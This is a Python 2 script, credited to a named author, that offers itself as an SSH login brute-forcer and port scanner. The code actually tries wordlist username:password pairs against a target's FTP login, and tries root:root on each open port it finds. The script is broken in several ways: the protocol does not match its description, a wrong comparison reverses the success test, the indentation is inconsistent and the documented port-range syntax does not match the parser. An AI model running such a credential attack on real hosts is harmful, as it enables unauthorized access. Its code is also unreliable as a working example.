"""
Script to Login Bruteforce and Portscan with Banner Grabbing over SSH
Author: Eduardo Alves (edu2008 live com) - 2014
"""

import paramiko
import argparse
import errno
import sys
import socket
import ftplib

from datetime import datetime
from sys import stdout
from socket import error as socket_error
from time import sleep


#Constants
PORT = 321
TIMEOUT = 2


#Paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())



#Arguments
parser = argparse.ArgumentParser(description='SSH BruteForce.')
parser.add_argument('-H','--host',required=True, help='Target Address.(Ex: example.com)')
parser.add_argument('-w','--wordlist', help='Wordlist dictionary to use with BruteForce option')
parser.add_argument('-p','--port',help='Target Port.Ex: (22)', default=PORT)
parser.add_argument('-ps','--portscan', help='Range of ports.(Ex: 1:65536)')
parser.add_argument('-t','--timeout',help='Time to wait on a requisition.(Ex: 2)', default=TIMEOUT)
parser.add_argument('-d','--delay',help='Delay on scan. Works only in Scan List.(Ex: 1)')

args = parser.parse_args()


#PORTSCAN
def portScan(startPort, endPort):
	count = 0
	timeStart = datetime.now()

	try:
	    for port in range(startPort,endPort):
	    	count +=1
	    	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	        result = sock.connect_ex((args.host, port))
	        if result == 0:
	        	try:
					ftp = ftplib.FTP(args.host)
					ftp.connect(args.host, args.timeout, port)
					ftp.login("root", "root")
	        	except Exception, e:
					if str(e).find("[Errno 111] Connection refused")!=-1:
						timeEnd = datetime.now()
  						totalTime = timeEnd - timeStart
						print '[OK] - Port found: '+str(port)\
						+'\nBanner : '+sock.recv(1024)\
						+'\nTotal executiontime: ' +  str(totalTime)\
						+'\nTotal ports scanned: ' + str(count)
						sock.close()
						sys.exit(1)
	except socket.error:
   		sys.exit("Hostname could not be resolved. Exiting")
   	except KeyboardInterrupt:
   		sys.exit("Exiting...")	
    	

#BRUTEFORCE
def sshBrute():
	#Dictionary. Must be: user:pass
	fd = open(args.wordlist, "r")
	
	for line in fd.readlines():
		user_pass = line.strip().split(':')
		try:
			ftp = ftplib.FTP(args.host)
			ftp.login(user_pass[0], user_pass[1])
		except ftplib.all_errors, e:
			if (str(e).find("530 Login incorrect") !=1):
				print str(e) + "- "+ user_pass[0] +":"+ user_pass[1] 
        	else:
        		print "[OK] "+ user_pass[0] +":"+ user_pass[1] 
        		print ftp.dir()
        		sys.exit(1)

def validateInput(rangePort):

	rangeList = str(rangePort)
	if rangeList.find("-") !=-1:
		Range = rangeList.strip().split('-')

		if ((len(Range) == 2)):
			try:
				startPort = int(Range[0])
				endPort = int(Range[1])

				if (startPort >=0 and endPort <=65536 and startPort < endPort):
					a = [startPort,endPort]
					return a
				else:
					print "Start port should be less than End port and between  0-65536"
			except ValueError, e:
				print "Must be an integer"
	else:
		print "Invalid range specification: Valid example:  1-1000"



def main():
	
	if args.host and not args.wordlist and not args.portscan:
		print "[Choose Postscan --ps or Bruteforce -w] \nUse --help to see Help"
		
	#Call PORTSCAN
	elif args.portscan:
		#Check if port range input is valid
		validPort = validateInput(args.portscan)
		if (validPort != None):
			portScan(validPort[0], validPort[1])

	#Call Bruteforce if wordlist is seted		
	elif args.wordlist:
		sshBrute()
	else:
		parser.print_help()					

if __name__ == "__main__":
	main()
